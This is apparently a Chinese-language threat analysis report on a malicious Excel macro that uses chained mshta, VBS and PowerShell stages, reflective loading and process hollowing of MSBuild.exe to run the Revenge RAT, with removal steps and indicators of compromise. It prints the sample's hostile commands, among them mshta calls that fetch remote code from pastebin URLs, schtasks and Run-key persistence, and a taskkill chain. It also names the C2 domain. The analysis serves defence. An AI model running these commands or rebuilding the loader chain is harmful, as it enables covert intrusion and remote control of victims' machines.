疑似APT宏病毒分析报告

0x00 概述

基本信息

样本名称 Order__679873892.xls
样本类型 宏病毒、Revenge RAT远控木马
样本大小 40.5 KB (41,472 字节)
MD5 2A8A7254D6A2D75BC55F27F732C97DCC

简介

该样本最终实现执行一个远控程序,样本通过宏代码访问网址中的JS代码,调用mshta执行JS代码解析出的VBS代码。其中多重混淆,并且全程都是以无文件方式执行的,从指定URL上获取两端PE数据流,通过反射加载来创建傀儡进程执行远控程序,在一定程度上可以逃避杀软的查杀,可见该样本的执行过程十分隐蔽,技术手段高超。

流程图

05_宏病毒

0x01 样本详细分析

查看宏

该样本是一个Excel文件并且带有宏,首先查看宏代码,发现有密码,可以使用工具offkey获取密码来解密。

查看宏代码,其中值得关注的便是函数workbook_Open(),Workbook_Open和Auto_Open差不多都能实现在打开office时自动运行。该函数中有明显的执行函数shell(),然后在shell处下断点,然后进行调试来查看所执行的指令。调试出来的指令如下:

1
"mshta http[:]//bit.ly/8hsshjahassahsh"

通过执行mshta,去访问指定的域名。调试结果如下:

1568959569555

异常JS代码

访问指令中的域名,发现是一个正常的网页,然后将网页源码拷下来,发现该网页源码中,有一段异常的JS代码,其中使用了函数document.write。异常JS代码如图:

1568986274183

使用console.log解析异常JS代码,解析出来了一个VBS代码。也就说明了网页执行到该异常JS代码时,会通过执行document.write,将该VBS代码嵌在了网页文档中,所以==宏调用的mshta真正执行的其实就是这个VBS代码==。这里将其保存下来,并命名为1.vbs。解析出来的VBS代码,如图:

1568986836029

调试该VBS代码(1.vbs),发现该VBS再次调用了指令:mshta,去访问网址来执行操作。mshta指令为:

1
mshta “http[:]//www.pastebin.com/raw/nv5d9pYu"

调试1.VBS结果如图所示:

1569030736561

添加计划任务和开机自启

再去访问1.VBS执行指令中的网址,发现还是一个正常的网址,网址源码中含有异常JS代码。1.VBS所访问网址中的异常JS代码如下:

1569036067621

解析该JS代码,发现与上一步一模一样的,还是==解析出来VBS代码,交由mshta==去执行。该样本通过这样的手段,访问正常的网站,然后去执行隐藏在网页中的恶意代码,来隐藏自身的恶意行为,并且可以==实现无文本执行恶意行为==,来逃避查杀。解析出的VBS代码如下:

1569036586575

将调试出来的VBS代码保存下来,并命名为2.VBS。然后调试2.VBS,2.VBS主要行为如下:

1.关闭进程,关闭Word、Excel、Publisher、PPT程序。关闭这些程序,目的可能是用来隐藏恶意程序的来源与 。 执行指令如下:

1
cmd.exe /c taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & exit

2.设置两个计划任务,分别为每60分钟和每300分钟调用一次mshta,并分别访问了两个不同的URL。而且还将计划任务的名字设置为与系统更新相关的内容。执行指令如下:

1
2
schtasks /create /sc MINUTE /mo 60 /tn "Windows Update" /tr "mshta.exe http://pastebin.com/raw/vXpe74L2" /F
schtasks /create /sc MINUTE /mo 300 /tn "Update" /tr "mshta.exe http://pastebin.com/raw/JdTuFmc5" /F

3.设置开机自启动项,修改注册表添加自启动项。致使每次开机便会执行mshta,访问指定URL。修改的注册表,及执行的指令如下:

1
2
"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate"
"mshta.exe http://pastebin.com/raw/CGe3S2Vf","REG_EXPAND_SZ"

调试2.VBS结果如图:

1569043864988

其中计划任务和开机自启项中,mshta访问的URL如下表:

访问的URL
http[:]//pastebin.com/raw/vXpe74L2
http[:]//pastebin.com/raw/JdTuFmc5
http[:]//pastebin.com/raw/CGe3S2Vf

执行Powershell

继续去访问这3个URL,发现这3个URL的内容都是一样的,可见所有的持久化攻击的目的都是一致的,如图:

1569044804280

这里还是与之前的套路是一样的,还是将JS解析后的VBS代码,==交由mshta去执行解析后vbs中的代码,来实现无文本攻击==。解析出的VBS代码结果如图:

1569045476737

将解析出来的VBS保存为3.VBS,然后调试该VBS代码,发现3.VBS执行了powershell指令,调试结果如下图:

1569046502014

查看Powershell的指令,发现powershell,将初始化的数据转为字符串并执行。这里通过调试来获取Powershell执行的数据,如图:

1569049413413

从网页获取文件数据

分析powershell执行的指令,首先通过test-connection不断尝试谷歌进行链接,来判断网络连接情况。

然后调用CallByName执行DownloadString从执行下表中的两个链接中下载字符串,然后通过IEX执行下载后的指令。

下载字符串连接地址:
http[:]//pastebin.com/raw/wMG90xwi
http[:]//pastebin.com/raw/W455MKAZ

代码如图:

1569059441086

1.获取DLL文件流

访问第一个网址==wMG90xwi==,发现从该网址上下载下来的==powershell==指令与上一个差不多,都是将初始化的数据,然后执行。这里直接调试,并将调试的结果输出到7.txt中,如图:

1569060163393

查看生成的7.txt,发现又是一层执行。可以从中看出是一个==PE==文件,数据开头4D5A,而且该powershell执行的主要目的在于替换其中的数据,然后替换完数据,由通过load去加载替换后的比特流,初步推断替换后的是一个dll文件。

1569065604284

通过将IEX替换为out-file, 获取这个PE文件。通过==DIE==查看该PE文件,发现该PE文件正如猜想为一个dll文件,这也就说明了,这里通过==函数load加载了一个从网上获取到的dll文件的数据流==,依旧还是无文本模式。

1569066094943

2.获取exe文件流

访问第二个网址==W455MKAZ==,发现这次从该网址上下载的字符串直接是一个PE文件的数据流,如图:

1569066429620

这里将其转换为二进制粘贴到文件中,就能获得该文件。用==DIE==查该文件,发现是一个.Net编写的exe文件。如图:

1569066582960

上面两步获取的文件流,并没有保存到本地,而是以比特流的形式存储的。这样的目的是不生成文件,很大程度上能做到免杀。

反射动态加载

获取完EXE和DLL文件流之后,该样本通过==反射加载==,加载了该DLL。执行了该DLL中的==retrt477fdg145fd4g0wewerwedsa799221dsad4154qwe==方法,并将("MSBuild.exe",$f)作为参数传入该方法中,其中$f为获取到的EXE的二进制文件流数据。如图:

1569068224763

创建傀儡进程

该样本通过反射加载了DLL文件中的函数==retrt477fdg145fd4g0wewerwedsa799221dsad4154qwe==,并传进了两个参数,一个是字符串"MSBuild.exe",一个exe文件的比特流数组。查看该函数对这两个参数或这个函数干了些什么。

1.解混淆

通过反编译工具==dnspy==,查看该.Net编写的dll文件时,发现其中有大量的混淆内容,查看编辑模块中的自定义特性发现该DLL文件是通过ConfuserEx混淆过的。如图:

1569069138757

可以通过该混淆制作者公布的工具,进行解混淆。并找到反射加载的函数,还发现该DLL文件中,有一些创建傀儡进程会用到的API,如图:

1569069784184

2.创建进程并写入数据

从反射加载的函数,往下跟,发现函数semthod_0,创建进程MSBuild,并将其挂起,如图:

1569070252322

然后,该函数还往该进程内存中写入获取到的EXE文件的数据流,如图:

1569070459004

通过执行函数ResumeThread恢复线程,执行EXE文件,完成傀儡进程。如图:

1569071085088

实施远控

通过反射加载该DLL文件,执行方法==retrt477fdg145fd4g0wewerwedsa799221dsad4154qwe==,来创建傀儡进程,将获取到的EXE加载到==正常程序MSBuild.exe中==,来免杀。

注入该傀儡进程的获取到的EXE文件,实质上是一个==远控==,通过查询互斥体,可知道该远控为RevengeRAT,该远控的C&C服务器为:==meandmyjoggar.duckdns.org:777==,如下图:

1569072354028

由于该RevengeRAT远控是一个成熟的远控程序,网上也可以直接下载到该远控软件,这里就不过多去分析该远控程序。

0x02 查杀方案

  • 关闭傀儡进程

    关闭创建的MSBuild.exe的傀儡进程。

  • 删除计划任务

    删除创建的两个计划任务:Windows UpdateUpdate

    可执行如下指令删除计划任务:

    1
    2
    schtasks /Delete /TN "Windows Update" /F
    schtasks /Delete /TN Update" /F
  • 删除开机自启动项

    删除注册表项==HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate==

0x03 样本溯源

通过mshta访问的网址如下表:

捆绑恶意JS代码网址:
==http[:]//bit.ly/8hsshjahassahsh==
==http[:]//pastebin.com/raw/nv5d9pYu==
==http[:]//pastebin.com/raw/vXpe74L2==
==http[:]//pastebin.com/raw/JdTuFmc5==
==http[:]//pastebin.com/raw/CGe3S2Vf==
==http[:]//pastebin.com/raw/wMG90xwi==
==http[:]//pastebin.com/raw/W455MKAZ==

远控RevengeRAT的C&C服务器:

C&C服务器
==meandmyjoggar.duckdns.org:777==

0x04 总结

该样本通过Excel进行传播,攻击手段高超,全程无文本攻击,其间进行了多次混淆,通过访问正常网址获取指令和数据,反射加载获取到的DLL文件流,来创建傀儡进程,最终执行远控程序。